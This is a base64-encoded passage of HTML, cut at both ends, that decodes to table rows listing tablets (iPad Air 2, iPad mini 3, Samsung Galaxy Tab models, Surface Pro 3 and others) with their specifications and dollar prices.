aWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49 NT45LjctaW5jaCZuYnNwO1JldGluYSZuYnNwO2Rpc3BsYXkmbmJzcDsxNkdCLzY0R0IvMTI4 R0I8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsg V0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDAp IiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDE2MC8xNjUvMTc1PC9URD48L1RSPg0KPFRSIGhlaWdo dD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJ RFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCki IGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PkFwcGxlJm5ic3A7aVBhZCZuYnNwO0Fp ciZuYnNwOzImbmJzcDtXaS1GaTwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsg SEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7 IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT45Ljct aW5jaCZuYnNwO1JldGluYSZuYnNwO2Rpc3BsYXkmbmJzcDsxNkdCLzY0R0IvMTI4R0I8L1RE Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6 IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWln aHQ9MTkgd2lkdGg9NzI+JDE1NS8xNjAvMTcwPC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4N CjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAz MjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdo dD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PkFwcGxlJm5ic3A7aVBhZCZuYnNwO0FpciZuYnNw O1dpLUZpK0NlbGx1bGFyPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlH SFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09M T1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjkuNy1pbmNo Jm5ic3A7UmV0aW5hJm5ic3A7ZGlzcGxheSZuYnNwOzE2R0IvMzJHQjwvVEQ+DQo8VEQgc3R5 bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVS VElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0 aD03Mj4kMTUwLzE1NTwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZP TlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FM LUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMy IGNvbFNwYW49Nj5BcHBsZSZuYnNwO2lQYWQmbmJzcDtBaXImbmJzcDtXaS1GaTwvVEQ+DQo8 VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcw cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9 MTkgd2lkdGg9MzYwIGNvbFNwYW49NT45LjctaW5jaCZuYnNwO1JldGluYSZuYnNwO2Rpc3Bs YXkmbmJzcDsxNkdCLzMyR0I8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhF SUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENP TE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDE0NS8xNTA8L1REPjwvVFI+ DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDog MTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjog cmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+QXBwbGUmbmJzcDtp UGFkJm5ic3A7bWluaSZuYnNwOzMmbmJzcDtXaS1GaStDZWxsdWxhcjwvVEQ+DQo8VEQgc3R5 bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZF UlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lk dGg9MzYwIGNvbFNwYW49NT43LjktaW5jaCZuYnNwO1JldGluYSZuYnNwO2Rpc3BsYXkmbmJz cDsxNkdCLzY0R0IvMTI4R0I8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhF SUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENP TE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDE1NS8xNjAvMTcwPC9URD48 L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlH SFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09M T1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PkFwcGxlJm5i c3A7aVBhZCZuYnNwO21pbmkmbmJzcDszJm5ic3A7V2ktRmk8L1REPg0KPFREIHN0eWxlPSJG T05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNB TC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2 MCBjb2xTcGFuPTU+Ny45LWluY2gmbmJzcDtSZXRpbmEmbmJzcDtkaXNwbGF5Jm5ic3A7MTZH Qi82NEdCLzEyOEdCPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6 IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjog cmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQxNTAvMTU1LzE2NTwvVEQ+PC9UUj4N CjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAx NC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiBy Z2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5TYW1zdW5nJm5ic3A7 R2FsYXh5Jm5ic3A7VGFiJm5ic3A7UHJvJm5ic3A7MTAuMSImbmJzcDs8L1REPg0KPFREIHN0 eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBW RVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdp ZHRoPTM2MCBjb2xTcGFuPTU+MTAuMS1pbmNoJm5ic3A7QW5kcm9pZCZuYnNwOzQuNCZuYnNw O0tpdEthdCZuYnNwO1dpLUZpJm5ic3A7VGFibGU8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJ WkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdO OiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDE0MCZu YnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTog MTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBt aWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49 Nj5TYW1zdW5nJm5ic3A7R2FsYXh5Jm5ic3A7VGFiJm5ic3A7UHJvJm5ic3A7OC40IiZuYnNw OzwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBX SURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDAp IiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT44LjQmbmJzcDsmbmJzcDstaW5jaCZu YnNwO0FuZHJvaWQmbmJzcDs0LjQmbmJzcDtLaXRLYXQmbmJzcDtXaS1GaSZuYnNwO1RhYmxl PC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJ RFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIg aGVpZ2h0PTE5IHdpZHRoPTcyPiQxMzAmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5 Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6 IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVp Z2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+U2Ftc3VuZyZuYnNwO0dhbGF4eSZuYnNwO1Rh YiZuYnNwOzMmbmJzcDs3LjAiJm5ic3A7S2lkcyZuYnNwOyZuYnNwOyhUYWJsZSZuYnNwO2Zv ciZuYnNwO2tpZHMpPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6 IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6 IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjcuMCZuYnNwOyZu YnNwOy1pbmNoJm5ic3A7QW5kcm9pZCZuYnNwOzQuMSZuYnNwO0tpdEthdCZuYnNwO1dpLUZp Jm5ic3A7VGFibGU8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDog MTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiBy Z2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDEyNSZuYnNwOzwvVEQ+PC9UUj4NCjxU UiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4y NXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2Io MCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5TYW1zdW5nJm5ic3A7R2Fs YXh5Jm5ic3A7Tm90ZSZuYnNwO1BybyZuYnNwOzEyLjIiPC9URD4NCjxURCBzdHlsZT0iRk9O VC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwt QUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAg Y29sU3Bhbj01PjEyLjItaW5jaCZuYnNwO0FuZHJvaWQmbmJzcDs0LjQmbmJzcDtLaXRLYXQm bmJzcDs0RyZuYnNwO0xURSZuYnNwO1RhYmxlPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpF OiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjog bWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQxNjAmbmJz cDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDEx cHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlk ZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+ U2Ftc3VuZyZuYnNwO0dhbGF4eSZuYnNwO05vdGUmbmJzcDsxMC4xIjwvVEQ+DQo8VEQgc3R5 bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZF UlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lk dGg9MzYwIGNvbFNwYW49NT4xMC4xLWluY2gmbmJzcDtBbmRyb2lkJm5ic3A7NC4xJm5ic3A7 S2l0S2F0Jm5ic3A7NEcmbmJzcDtMVEUmbmJzcDtUYWJsZTwvVEQ+DQo8VEQgc3R5bGU9IkZP TlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwt QUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4k MTUwJm5ic3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1T SVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJ R046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29s U3Bhbj02PlNhbXN1bmcmbmJzcDtHYWxheHkmbmJzcDtUYWImbmJzcDszJm5ic3A7Ny4wIiZu YnNwOzE2R0I8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQu MjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdi KDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+Ny4wJm5ic3A7Jm5ic3A7 LWluY2gmbmJzcDtBbmRyb2lkJm5ic3A7NC40Jm5ic3A7S2l0S2F0Jm5ic3A7NEcmbmJzcDtM VEUmbmJzcDtUYWJsZTwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hU OiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6 IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kMTMwJm5ic3A7PC9URD48L1RSPg0K PFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0 LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJn YigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02Pkxlbm92byZuYnNwO0Ez MDAwPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7 IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAs MCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjcuMC1pbmNoJm5ic3A7QW5kcm9p ZDQuMiZuYnNwOyZuYnNwOzhHQjwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsg SEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsg Q09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kMTI1Jm5ic3A7PC9URD48 L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlH SFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09M T1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02Pkh1YXdlaSZu YnNwO01lZGlhUGFkJm5ic3A7NyZuYnNwO1ZvZ3VlPC9URD4NCjxURCBzdHlsZT0iRk9OVC1T SVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJ R046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29s U3Bhbj01PjcuMC1pbmNoJm5ic3A7QW5kcm9pZDQuMSZuYnNwOyZuYnNwOzhHQjwvVEQ+DQo8 VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRw dDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0x OSB3aWR0aD03Mj4kNjAmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0 eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDY0OHB0OyBW RVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDI1NSwwLDApOyBGT05ULVNUWUxF OiBpdGFsaWMiIGhlaWdodD0xOSB3aWR0aD04NjQgY29sU3Bhbj0xMj5NaWNyb3NvZnQmbmJz cDtUYWJsZSZuYnNwO1BDJm5ic3A7LyZuYnNwO1dpbmRvd3MmbmJzcDtUYWJsZSZuYnNwO1BD Jm5ic3A7TGFwdG9wPC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9O VC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwt QUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIg Y29sU3Bhbj02Pk1pY3Jvc29mdCZuYnNwO1N1cmZhY2UmbmJzcDtQcm8mbmJzcDsz77yIaTcv NTEyR0LvvIk8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQu MjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdi KDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+MTIuMCImbmJzcDtpNyZu YnNwOzUxMkdCJm5ic3A7U1NEJm5ic3A7V2l0aCZuYnNwO0tleWJvYXJkPC9URD4NCjxURCBz dHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBW RVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdp ZHRoPTcyPiQxOTUmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxl PSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJU SUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRo PTQzMiBjb2xTcGFuPTY+TWljcm9zb2Z0Jm5ic3A7U3VyZmFjZSZuYnNwO1BybyZuYnNwOzPv vIhpNy8yNTZHQu+8iTwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hU OiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9S OiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT4xMi4wIiZuYnNw O2k3Jm5ic3A7MjU2R0ImbmJzcDtTU0QmbmJzcDtXaXRoJm5ic3A7S2V5Ym9hcmQ8L1REPg0K PFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0 cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9 MTkgd2lkdGg9NzI+JDE3NSZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQg c3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7 IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkg d2lkdGg9NDMyIGNvbFNwYW49Nj5NaWNyb3NvZnQmbmJzcDtTdXJmYWNlJm5ic3A7UHJvJm5i c3A7M++8iGk1LzI1NkdC77yJPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBI RUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsg Q09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjEyLjAi Jm5ic3A7aTUmbmJzcDsyNTZHQiZuYnNwO1NTRCZuYnNwO1dpdGgmbmJzcDtLZXlib2FyZDwv VEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURU SDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhl aWdodD0xOSB3aWR0aD03Mj4kMTYwJm5ic3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4N CjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAz MjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdo dD0xOSB3aWR0aD00MzIgY29sU3Bhbj02Pk1pY3Jvc29mdCZuYnNwO1N1cmZhY2UmbmJzcDtQ cm8mbmJzcDsz77yIaTUvMTI4R0LvvIk8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDEx cHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlk ZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+ MTIuMCImbmJzcDtpNSZuYnNwOzEyOEdCJm5ic3A7U1NEJm5ic3A7V2l0aCZuYnNwO0tleWJv YXJkPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7 IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCww KSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQxNTAmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0 PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lE VEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIg aGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+PC9URD4NCjxURCBzdHlsZT0iRk9OVC1T SVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJ R046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29s U3Bhbj01PjwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4y NXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigw LDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj48L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0K PFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IFRFWFQtREVDT1JBVElPTjogdW5kZXJsaW5l OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA2NDhwdDsgVkVSVElDQUwtQUxJR046IG1pZGRs ZTsgQ09MT1I6IHJnYigyNTUsMCwwKTsgRk9OVC1TVFlMRTogaXRhbGljIiBoZWlnaHQ9MTkg d2lkdGg9ODY0IGNvbFNwYW49MTI+VmlkZW8mbmJzcDtHYW1lJm5ic3A7Q29uc29sZSZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw 